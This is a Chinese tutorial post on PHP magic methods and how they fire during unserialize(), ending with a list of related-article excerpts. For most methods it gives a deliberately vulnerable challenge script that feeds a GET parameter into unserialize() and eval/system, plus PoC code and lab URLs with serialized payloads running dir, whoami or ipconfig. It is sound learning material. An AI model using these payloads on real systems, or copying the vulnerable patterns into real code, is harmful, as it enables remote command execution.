PHP反序列化魔术方法

article/2025/6/28 11:42:35

 

目录

__construct

__destruct

__call

 __get 

__set

__isset

 __unset

__sleep

__wakeup

__toString

__invoke


PHP讲以双下划线__保留为魔术方法,所有的魔术方法 必须 声明为 public。

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

__construct

__construct()被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。

<?php
class User{public $username;public function __construct($username){$this->username = $username;echo "__construct test";}}
$test = new User("a");
//$ser = serialize($test);
//unserialize($ser);
?>

允许结果:

__construct test

 

__destruct

在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。

new 和 unserialize  触发

<?php
class User{public function __destruct(){echo "__destruct test</br>";}}
$test = new User();
$ser = serialize($test);
unserialize($ser);
?>

结果:

__destruct test

__destruct test

 

__call

在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。

调用一个错误的方法的时候(或者说是没有这个方法,不可访问的方法),触发。

<?php
class User{public function __call($arg1,$arg2) 当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx{echo "$arg1,$arg2[0]";当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx,$arg2赋值为a}}
$test = new User();
$test->callxxx('a');  //callxxx 不存在
?>

结果:($arg1 是错误的成员方法,$arg2是错误方法中的变量a)

callxxx,a

 __get 

调用一个不存在的变量(包括变量名写错了,不存在)触发

题目:

?phperror_reporting(0);
highlight_file(__FILE__);
class User{public $benben;public  function __get($arg1){eval($this->benben);}}
$a = $_GET['benben'];
$test = unserialize($a);
$test->var2;
?>

构造poc:

如果构造poc时用phpstorm,赋值poc的时候,可能会有编码问题,导致poc执行不成功(删掉方框里面即可)

poc代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class User
{public $benben = "system('dir');";
}
$a = new User();
echo print_r(serialize($a));
?>//输出:O:4:"User":1:{s:6:"benben";s:14:"system('dir');";}

 

 

__set

调用一个不存在的成员变量的同时给这个不存在的成员变量赋值

题目:

<?phperror_reporting(0);
highlight_file(__FILE__);
class User{public $benben;public  function __set($arg1,$arg2){echo $arg1.','.$arg2;eval($this->benben);}}
$a = $_GET['benben'];
$test=unserialize($a);
$test->benben2=1;
?>

构造poc:

<?php
error_reporting(0);
highlight_file(__FILE__);
class User{public $benben="system(whoami);";public  function __set($arg1,$arg2){echo $arg1.','.$arg2;eval($this->benben);}}
$a = new User();
echo serialize($a);
?>//输出结果:O:4:"User":1:{s:6:"benben";s:15:"system(whoami);";}

 

__isset

作用:判断是否传递了参数

触发:当对不可访问属性调用isset()或empty()调用

(类外调用私有属性)不可访问

题目:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class User{private $benben;public  function __isset($arg1){echo $arg1;eval($this->benben);}
}$a = $_GET['benben'];
$test=unserialize($a);
isset($test->benben);     类外调用了私有属性的成员变量benben,不可访问,触发了__isset
?> 

构造poc:(私有属性,需要url编码)

<?php
error_reporting(0);
highlight_file(__FILE__);
class User
{private $benben = "system('dir');";
}$a = new User();
echo urlencode(serialize($a));   //benben 成员属性为私有,所以需要urlencode
?>//结果:O%3A4%3A%22User%22%3A1%3A%7Bs%3A12%3A%22%00User%00benben%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D

提交的url:

http://192.168.1.3/xuliehua/mofa/isset.php?benben=O%3A4%3A%22User%22%3A1%3A%7Bs%3A12%3A%22%00User%00benben%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D

结果:

 __unset

对不可访问属性调用 unset() 时,__unset() 会被调用。

<?php
class User{public  function __unset($arg1){echo $arg1;}}
$test = new User();
unset($test->var1);
?>

结果:

var1

如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知。

__sleep

执行serialize()时,先会调用这个函数

 <?php
error_reporting(0);
highlight_file(__FILE__);class User{public $cmd;public function __construct($cmd){$this->cmd = $cmd;}public function __sleep(){system($this->cmd);}}
$a = $_GET['benben'];
$user = new User($a);
echo serialize($user); 

poc:

?benben=ipconfig

http://192.168.1.6/xuliehua/mofa/sleep.php?benben=ipconfig

结果: 

__wakeup

执行unserialize()时,__destruct __wakeup都有时,先触发__wakeup函数

<?php
error_reporting(0);
highlight_file(__FILE__);
class User{public $cmd;public function __construct($cmd){$this->cmd = $cmd;}public function __wakeup(){system($this->cmd);}
}
$a = $_GET['benben'];
unserialize($a);

构造poc:

<?php
class User{public $cmd='dir';public function __construct($cmd){$this->cmd = $cmd;}public function __wakeup(){system($this->cmd);}
}$a = new User('ipconfig');
echo serialize($a);//输出:O:4:"User":1:{s:3:"cmd";s:8:"ipconfig";}

提交:

http://192.168.1.6/xuliehua/mofa/wakeup1.php?benben=O:4:"User":1:{s:3:"cmd";s:8:"ipconfig";}

结果:

 

__toString

__toString() 方法用于一个类被当成字符串 输出。 echo 、var_dump

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
class User{public $benben;public function __toString(){system($this->benben);}}
$a = $_GET['benben'];
$test=unserialize($a);
echo $test;"""
//$test 是一个对象,而echo是输出字符串,就会报错      
(但是User类中,有__toString方法,所以(var_dump)echo不会报错,而是去调用__toString)
echo $test;
//把对象当作字符串,把字符串当作对象 ,都会触发
"""

构造poc:

<?phpclass User{public $benben='ipconfig';public function __toString(){system($this->benben);}}
echo serialize(new User());//输出:O:4:"User":1:{s:6:"benben";s:8:"ipconfig";}

提交时要地址栏提交,不要用hackbar提交,可能会出现编码问题。

__invoke

调用函数的方式调用一个对象时的回应方法

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
class User{public $benben;public function __invoke(){eval($this->benben);}}
$a = $_GET['benben'];
$test=unserialize($a);
$test(); 

构造poc:

<?phpclass User{public $benben='system("dir");';public function __invoke(){eval($this->benben);}}
echo serialize(new User());//O:4:"User":1:{s:6:"benben";s:14:"system("dir");";}

结果:

 

还有四种魔术方法,大致和前面的一样,就不在演示了。

总结

php反序列化,需要一定的php代码理解。


http://chatgpt.dhexx.cn/article/m9OdWuJo.shtml

相关文章

PHP反序列化详解(一)——反序列化基础

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是PHP反序列化详解&#xff08;一&#xff09;——反序列化基础。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#x…

php反序列化姿势学习

php反序列化姿势学习 1.__wakeup()函数绕过2./[oc]:\d:/i研究php反序列化逃逸1.替换后字符串增加2.替换后字符串减少 1.__wakeup()函数绕过 wakeup函数作为php反序列化中的一个函数&#xff0c;也经常被拿来当做考点&#xff0c;比如这样 function __wakeup() { if ($this->…

【web漏洞】PHP反序列化

目录 知识点反序列化常用方法&#xff1a;序列化的&#xff08;构造payload&#xff09;运行顺序反序列化的&#xff08;实现payload&#xff09;运行顺序绕过__wakeup()__tostring() 知识点 序列化&#xff08;serialize&#xff09;&#xff1a; 对象的状态信息转换为可以存…

PHP反序列化CTF例题

渗透学习 不安全的反序列化之PHP反序列化 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结 前言 本系列用于记录本人渗…

php反序列化漏洞

php反序列化漏洞 关于php面向对象编程&#xff1a; 对象&#xff1a;可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类&#xff1a;一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头&#xff0c;后面跟着类的名字。一个类可以包含有…

PHP反序列化漏洞总结

文章目录 一、 基础知识1、什么是反序列化漏洞:序列化与反序列化&#xff1a;1、序列化&#xff1a;2、反序列化&#xff1a; 二、PHP魔法函数1、常见方法:2、安全问题&#xff1a; 三、CTF中的反序列化例题一&#xff1a;例题二&#xff1a; 四、靶场练习1、反序列化触发XSS&a…

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…

PHP反序列化入门手把手详解

PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初…

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…